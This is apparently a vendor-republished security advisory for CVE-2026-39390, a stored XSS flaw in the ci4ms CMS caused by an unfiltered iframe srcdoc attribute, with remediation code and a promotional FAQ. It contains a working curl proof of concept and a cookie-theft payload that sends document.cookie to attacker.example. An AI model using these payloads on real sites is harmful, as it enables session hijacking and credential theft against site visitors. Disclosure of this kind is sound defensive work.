Summary
The Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.
Details
Input sanitization (modules/Settings/Controllers/Settings.php:49-53):
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
$mapValue = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $mapValue);
setting()->set('Gmap.map_iframe', $mapValue);
The three regex patterns only match attributes beginning with on (e.g., onclick, onerror). The srcdoc attribute does not begin with on and passes through untouched.
Output rendering (app/Views/templates/default/gmapiframe.php:3):
<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>
The output applies strip_tags with the same <iframe> allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.
Why HTML entities bypass strip_tags: A payload like <iframe srcdoc="<script>alert(1)</script>"> contains only one tag (<iframe>), which is in the allowlist. The entity-encoded content (<script>) is not recognized as a tag by strip_tags. However, when the browser renders the srcdoc attribute, it decodes the HTML entities and creates a new browsing context containing <script>alert(1)</script>.
Why this is same-origin: Per the HTML specification, an <iframe srcdoc="..."> without a sandbox attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.
PoC
Prerequisites: Authenticated admin session with update role on the Settings module.
Step 1: Inject the payload
curl -X POST 'https://target/backend/settings/compInfos' \
-H 'Cookie: ci_session=ADMIN_SESSION_ID' \
-d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&[email protected]&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'
The cMap value decodes to:
<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
Step 2: Visit any public page that includes the Google Maps widget
Navigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the srcdoc iframe, decodes the entities, and executes the script in the parent page's origin.
Expected result: JavaScript alert(document.domain) fires showing the target's domain, confirming same-origin execution.
Cookie theft variant:
<iframe srcdoc="<script>document.location='https://attacker.example/steal?c='+document.cookie</script>"></iframe>
Impact
- Stored XSS affecting all frontend visitors: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.
- Session hijacking: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.
- Credential theft: An attacker can inject a fake login form or redirect users to a phishing page.
- Scope change: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.
The attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-39390 has a CVSS score of 5.5 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.31.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Replace the regex-based attribute blocklist with a strict allowlist approach. Only allow src, width, height, frameborder, style, allowfullscreen, and loading attributes on iframe tags:
// In modules/Settings/Controllers/Settings.php, replace lines 49-52:
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
// Strip all attributes except safe ones for iframes
$mapValue = preg_replace_callback(
'/<iframe\s+([^>]*)>/i',
function ($matches) {
$allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title'];
preg_match_all('/(\w+)\s*=\s*(?:"([^"]*)"|\'([^\']*)\'|(\S+))/i', $matches[1], $attrs, PREG_SET_ORDER);
$safe = '';
foreach ($attrs as $attr) {
$name = strtolower($attr[1]);
$value = $attr[2] ?: $attr[3] ?: $attr[4];
if (in_array($name, $allowedAttrs, true)) {
// For src, only allow https URLs (block javascript: etc.)
if ($name === 'src' && !preg_match('#^https://#i', $value)) {
continue;
}
$safe .= ' ' . $name . '="' . esc($value) . '"';
}
}
return '<iframe' . $safe . '>';
},
$mapValue
);
This allowlist approach ensures that dangerous attributes like srcdoc, src with javascript: protocol, and any future dangerous attributes are blocked by default.
Frequently Asked Questions
- What is CVE-2026-39390? CVE-2026-39390 is a medium-severity cross-site scripting (XSS) vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions <= 0.31.3.0. It is fixed in 0.31.4.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-39390? CVE-2026-39390 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of ci4-cms-erp/ci4ms are affected by CVE-2026-39390? ci4-cms-erp/ci4ms (composer) versions <= 0.31.3.0 is affected.
- Is there a fix for CVE-2026-39390? Yes. CVE-2026-39390 is fixed in 0.31.4.0. Upgrade to this version or later.
- Is CVE-2026-39390 exploitable, and should I be worried? Whether CVE-2026-39390 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-39390 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-39390? Upgrade
ci4-cms-erp/ci4msto 0.31.4.0 or later.